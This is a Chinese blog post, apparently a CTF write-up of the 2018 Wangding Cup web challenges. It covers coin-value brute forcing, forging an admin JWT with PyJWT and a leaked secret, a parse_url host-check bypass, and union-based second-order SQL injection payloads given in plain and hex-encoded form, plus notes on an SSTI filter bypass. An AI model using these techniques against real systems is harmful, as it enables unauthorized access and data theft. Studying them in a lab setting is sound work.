美文网首页
网鼎杯第三次(web)

网鼎杯第三次(web)

作者: wuli_decade | 来源:发表于2018-08-28 13:54 被阅读170次

    web~~~~~~~~~gold

    题目本身是一个游戏,获得1000个金币即通关。
    抓包分析


    image.png

    这个应该就是发给服务端的数额,修改为1000传过去,发现无效emmmmm??
    后面发现,我截包的时候,页面还是一如既往的在运行,想到要不我也爆破一次试试,第一次从1-1005,step为1,结果失败,第二次从1-1005,step为2,结果也失败,第三次从0-1005,step为5,成功获得flag


    image.png

    web~~~~~~~~~i_am_admin

    使用提示的账号test/test登陆,看到有一个set-cookie和secret

    image.png
    image.png
    base64解码得到
    image.png
    下面伪造admin身份
    jwt伪造
    image.png
    抓取登陆之后的get包,替换auth

    赛后get到一个新姿势,python有一个库支持jwt构造。这里感概下python的强大
    root@DECADE:~# pip install PyJWT
    Downloading/unpacking PyJWT
      Downloading PyJWT-1.6.4-py2.py3-none-any.whl
    Installing collected packages: PyJWT
    Successfully installed PyJWT
    Cleaning up...
    root@DECADE:~# python
    Python 2.7.6 (default, Nov 23 2017, 15:49:48) 
    [GCC 4.8.4] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import jwt
    >>> encoded=jwt.encode({u'username':u'admin'},'uy8qz-!kru%*2h7$q&veq=y_r1abu-xd_219y%phex!@4hv62+',algorithm='HS256')
    >>> encoded
    'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.NYSsNZ1gR8EUYebNTmXPBhdoh-mA5OjHkeWjM4gPxqY'
    

    web~~~~~~~~~comein

    题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。

    emm复现的时候,网址挂了
    这里本地复现一次,题目进去之后可以看到源码如下,略有修改

    <?php
    $uri=$_SERVER['REQUEST_URI'];
    var_dump('$uri = '.$uri);
    var_dump(strpos(urldecode($uri),'.'));
    if(strpos(urldecode($uri),'.'))
        die("unknow uri");
    var_dump('parse_url($uri, PHP_URL_HOST) = '.parse_url($uri, PHP_URL_HOST));
    if(!parse_url($uri, PHP_URL_HOST))
      $uri='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
    var_dump('$uri2 = '.$uri);
    $host=parse_url($uri, PHP_URL_HOST);
    var_dump('$whoareyou = '.$host);
    ?>
    
    image.png

    web~~~~~~~~~~phone

    类型题:2017广东省强网杯第三题

    题目进去之后注册,注册时候要求填一个手机号码,登陆成功可查询与你电话相同的人数,这里猜测是二次注入。


    image.png

    下面是获取步骤

    1' union select group_concat(table_name) from information_schema.tables where table_schema=database() order by 1 desc#
    #flag user
    
    1' union select group_concat(column_name) from information_schema.columns where table_name="flag" order by 1 desc#
    #f14g
    
    1' union select f14g from flag order by 1 desc#
    #flag{780dc32c-c249-4068-8f17-2a250e7071b7}
    
    
    全部转换成16进制即可获得flag
    0x312720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829206f726465722062792031206465736323
    
    312720756e696f6e2073656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d22666c616722206f726465722062792031206465736323
    
    312720756e696f6e2073656c65637420663134672066726f6d20666c6167206f726465722062792031206465736323
    

    web~~~~~~mmmmy

    image.png
    image.png

    用之前的test/test登陆进去。如出一辙,jwt,但这次没有key,所以要爆破
    参考:jwt的key爆破
    用之前python的jwt伪造

    image.png
    image.png
    image.png
    经过fuzz,发现过滤的{{ ' " __字符
    {{可用{%%}标记绕过
    __可用request.args.a绕过
    构造的payload如下
    image.png

    相关文章

      网友评论

          本文标题:网鼎杯第三次(web)

          本文链接:https://www.haomeiwen.com/subject/mesxwftx.html